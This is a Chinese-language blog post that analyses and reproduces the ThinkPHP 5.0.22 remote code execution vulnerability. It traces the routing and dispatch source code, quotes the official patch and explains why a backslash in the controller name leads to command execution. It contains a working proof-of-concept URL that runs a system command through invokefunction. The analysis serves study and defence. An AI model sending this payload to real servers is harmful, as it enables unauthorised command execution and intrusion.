thinkphp5.0.22远程代码执行漏洞分析及复现
虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象;我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同的。本文分析5.0.22版本的远程代码执行漏洞,分析过程如下:
(1)漏洞复现
环境php5.5.38+apache。
POC:http://172.19.77.44/thinkphp_5.0.22_with_extend/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
(2)漏洞分析
看下应用入口文件.\thinkphp_5.0.22_with_extend\public\index.php
1 // 定义应用目录 2 define('APP_PATH', __DIR__ . '/../application/'); 3 // 加载框架引导文件 4 require __DIR__ . '/../thinkphp/start.php';
跟进/../thinkphp/start.php
1 namespace think; 2 3 // ThinkPHP 引导文件 4 // 1. 加载基础文件 5 require __DIR__ . '/base.php'; 6 7 // 2. 执行应用 8 App::run()->send();
第8行中的App::run相当于think/App:run,跟进.\thinkphp_5.0.22_with_extend\thinkphp\library\think\App.php的run函数
1 public static function run(Request $request = null) 2 { 3 4 $request = is_null($request) ? Request::instance() : $request; 5 6 try { 7 $config = self::initCommon(); 8 9 // 模块/控制器绑定 10 if (defined('BIND_MODULE')) { 11 BIND_MODULE && Route::bind(BIND_MODULE); 12 } elseif ($config['auto_bind_module']) { 13 .........................
此时进入run函数,因为漏洞POC与框架的url处理有关,所以直接跟到URL路由检测函数,关键代码如下:
1 // 监听 app_dispatch 2 Hook::listen('app_dispatch', self::$dispatch); 3 // 获取应用调度信息 4 $dispatch = self::$dispatch; 5 6 // 未设置调度信息则进行 URL 路由检测 7 if (empty($dispatch)) { 8 $dispatch = self::routeCheck($request, $config); 9 } 10 //var_dump($dispatch['module']);
因上述代码中的第7行的变量$dispatch为空,所以进入第8行的routeCheck函数,跟入到此函数,关键代码如下:
1 public static function routeCheck($request, array $config) 2 { 3 $path = $request->path(); 4 $depr = $config['pathinfo_depr']; 5 $result = false; 6 7 // 路由检测 8 $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on']; 9 if ($check) { 10 // 开启路由 11 if (is_file(RUNTIME_PATH . 'route.php')) { 12 // 读取路由缓存 13 $rules = include RUNTIME_PATH . 'route.php'; 14 is_array($rules) && Route::rules($rules);
上述代码中第3行代码得到POC中的路径,路径变量$path为index/think\app/invokefunction,POC中剩余变量存储在$_GET中,继续往下跟routeCheck函数,关键代码如下:
1 // 路由检测(根据路由定义返回不同的URL调度) 2 $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); 3 $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; 4 5 if ($must && false === $result) { 6 // 路由无效 7 throw new RouteNotFoundException(); 8 } 9 } 10 11 // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索 12 if (false === $result) { 13 $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); 14 } 15 // var_dump($result['module']); 16 return $result; 17 } 18 19 /**
上述代码中因变量$result为假,所以会进入第13行代码的Route::parseUrl函数,此函数用来解析变量$path(index/think\app/invokefunction),跟进到此函数,关键代码如下:
1 public static function parseUrl($url, $depr = '/', $autoSearch = false) 2 { 3 4 if (isset(self::$bind['module'])) { 5 $bind = str_replace('/', $depr, self::$bind['module']); 6 // 如果有模块/控制器绑定 7 $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr); 8 } 9 $url = str_replace($depr, '|', $url); 10 list($path, $var) = self::parseUrlPath($url); 11 $route = [null, null, null]; 12 if (isset($path)) { 13 // 解析模块 14 $module = Config::get('app_multi_module') ? array_shift($path) : null; 15 if ($autoSearch) { 16 // 自动搜索控制器
上述代码的第9行会将变量$url中的符号'/'替换为'|',接着会进入第10行的parseUrlPath函数,关键代码如下:
1 private static function parseUrlPath($url) 2 { 3 // 分隔符替换 确保路由定义使用统一的分隔符 4 $url = str_replace('|', '/', $url); 5 $url = trim($url, '/'); 6 $var = []; 7 if (false !== strpos($url, '?')) { 8 // [模块/控制器/操作?]参数1=值1&参数2=值2... 9 $info = parse_url($url); 10 $path = explode('/', $info['path']); 11 parse_str($info['query'], $var); 12 } elseif (strpos($url, '/')) { 13 // [模块/控制器/操作] 14 $path = explode('/', $url); 15 } else { 16 $path = [$url]; 17 } 18 return [$path, $var]; 19 }
跟到上述代码中的第13行,它会将变量$url变为数组,此时$path数组的值为如下图所示
此时重新返回到parseUrl函数,继续往下跟,跟到解析控制器部分,关键代码如下:
1 } else { 2 // 解析控制器 3 $controller = !empty($path) ? array_shift($path) : null; 4 } 5 // 解析操作 6 $action = !empty($path) ? array_shift($path) : null; 7 // 解析额外参数 8 self::parseUrlParams(empty($path) ? '' : implode('|', $path)); 9 // 封装路由 10 $route = [$module, $controller, $action]; 11 // 检查地址是否被定义过路由 12 $name = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action); 13 $name2 = ''; 14 if (empty($module) || isset($bind) && $module == $bind) { 15 $name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action); 16 } 17 18 if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) { 19 throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url)); 20 } 21 } 22 return ['type' => 'module', 'module' => $route];
上述代码中第3行、第6行会得到控制器和操作方法等,然后会封装路由,数组变量$route如下图所示:
上述代码中第22行代码后会以数组的形式返回到routeCheck函数,关键代码如下:
1 // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索 2 if (false === $result) { 3 $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); 4 } 5 // var_dump($result['module']); 6 return $result; 7 }
上述代码中由第3行的数组变量$result接受返回的数据,第6行再将数组变量$result结果返回到run函数中,关键代码如下:
1 if (empty($dispatch)) { 2 $dispatch = self::routeCheck($request, $config); 3 } 4 //var_dump($dispatch['module']); 5 // 记录当前调度信息 6 $request->dispatch($dispatch); 7 8 // 记录路由和请求信息 9 if (self::$debug) { 10 Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); 11 Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); 12 Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); 13 } 14 15 // 监听 app_begin 16 Hook::listen('app_begin', $dispatch); 17 18 // 请求缓存检查 19 $request->cache( 20 $config['request_cache'], 21 $config['request_cache_expire'], 22 $config['request_cache_except'] 23 ); 24 25 $data = self::exec($dispatch, $config); 26 } catch (HttpResponseException $exception) { 27 $data = $exception->getResponse(); 28 }
上述代码中第2行的变量$dispatch接受返回的数组变量$result的值,$dispatch结果如下图所示:
继续跟到上述代码中的第25行的exec函数,它是用来做执行操作的,关键代码如下:
1 protected static function exec($dispatch, $config) 2 { 3 switch ($dispatch['type']) { 4 case 'redirect': // 重定向跳转 5 $data = Response::create($dispatch['url'], 'redirect') 6 ->code($dispatch['status']); 7 break; 8 case 'module': // 模块/控制器/操作 9 $data = self::module( 10 $dispatch['module'], 11 $config, 12 isset($dispatch['convert']) ? $dispatch['convert'] : null 13 );
上述代码中因第3行的$dispatch['type']为module,所以会跳到第8行,跟进module函数,关键代码如下:
1 public static function module($result, $config, $convert = null) 2 { 3 if (is_string($result)) { 4 $result = explode('/', $result); 5 } 6 7 $request = Request::instance(); 8 9 if ($config['app_multi_module']) {
上述代码中数组变量$result的值如下图所示:
继续跟进module函数,关键代码如下:
1 // 是否自动转换控制器和操作名 2 $convert = is_bool($convert) ? $convert : $config['url_convert']; 3 4 // 获取控制器名 5 $controller = strip_tags($result[1] ?: $config['default_controller']);
//官方给的补丁位置
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
} 6 $controller = $convert ? strtolower($controller) : $controller; 7 8 // 获取操作名 9 $actionName = strip_tags($result[2] ?: $config['default_action']); 10 if (!empty($config['action_convert'])) { 11 $actionName = Loader::parseName($actionName, 1); 12 } else { 13 $actionName = $convert ? strtolower($actionName) : $actionName; 14 }
其中第5行的变量$controller代表控制器名,它就是数组变量$result的第二个元素的值(think\app),上述代码中标红部分正是官方给出的补丁,它对控制器名加了一个验证。继续往下跟,关键代码如下:
1 $actionName = $convert ? strtolower($actionName) : $actionName; 2 } 3 4 // 设置当前请求的控制器、操作 5 $request->controller(Loader::parseName($controller, 1))->action($actionName); 6 7 // 监听module_init 8 Hook::listen('module_init', $request);
上述代码第5行会设置请求的控制器和操作,操作名变量$actionName为invokefunction,继续往下跟module函数,关键代码如下:
1 $vars = []; 2 if (is_callable([$instance, $action])) { 3 // 执行操作方法 4 $call = [$instance, $action]; 5 // 严格获取当前操作方法名 6 $reflect = new \ReflectionMethod($instance, $action); 7 $methodName = $reflect->getName(); 8 $suffix = $config['action_suffix']; 9 $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; 10 $request->action($actionName); 11 12 } elseif (is_callable([$instance, '_empty'])) {
上述代码中的第2行is_callable因验证think\app中存在invokefunction方法,所以会进入到这个if语句,第6行代码会获取类名和方法名,继续跟到module函数末尾,代码如下:
1 } 2 3 Hook::listen('action_begin', $call); 4 5 return self::invokeMethod($call, $vars); 6 }
上述代码的第5行会调用invokeMethod函数,变量$var为空,变量$call的值如下图所示:
跟入invokeMethod函数,关键代码如下:
1 public static function invokeMethod($method, $vars = []) 2 { 3 if (is_array($method)) { 4 $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); 5 $reflect = new \ReflectionMethod($class, $method[1]); 6 } else { 7 // 静态方法 8 $reflect = new \ReflectionMethod($method); 9 } 10 11 $args = self::bindParams($reflect, $vars); 12 13 self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info'); 14 15 return $reflect->invokeArgs(isset($class) ? $class : null, $args); 16 }
上述代码的第11行数组变量$args会获取POC中的余下的参数function=call_user_func_array&vars[0]=system&vars[1][]=whoami的值,结果如下图所示:
上述代码中的第15行会调用invokeArgs函数,此函数的作用是使用数组方法给函数传递参数,并执行函数,所以最终执行call_user_func_array函数。此时会返回到exec函数,关键代码如下:
1 protected static function exec($dispatch, $config) 2 { 3 switch ($dispatch['type']) { 4 case 'redirect': // 重定向跳转 5 $data = Response::create($dispatch['url'], 'redirect') 6 ->code($dispatch['status']); 7 break; 8 case 'module': // 模块/控制器/操作 9 $data = self::module( 10 $dispatch['module'], 11 $config, 12 isset($dispatch['convert']) ? $dispatch['convert'] : null 13 ); 14 break; 15 case 'controller': // 执行控制器操作
上述代码中的第5行的变量$data会接受最后的执行数据的值,结果如下图所示,看以看到命令已经执行成功了。
(3)小结
后面的执行细节就不跟了,以上就是版本5.0.22漏洞的分析过程,此漏洞产生的关键原因在routeCheck函数中,关键代码如下:
1 // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索 2 if (false === $result) { 3 $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); 4 } 5 // var_dump($result['module']); 6 return $result; 7 }
上述代码中第3行的Route::parseUrl函数只是简单的将变量$path=index/think\app/invokefunction按斜杠符号'/'分组,并没有考虑符号反斜杠'\'的情况,$result的值为如下如所示:
最终导致传入exec函数的控制器为think\app,而最后通过$reflect->invokeArgs(isset($class) ? $class : null, $args)来解析类和参数,从而导致命令执行漏洞。
正在学习中,分析不当之处还请指正。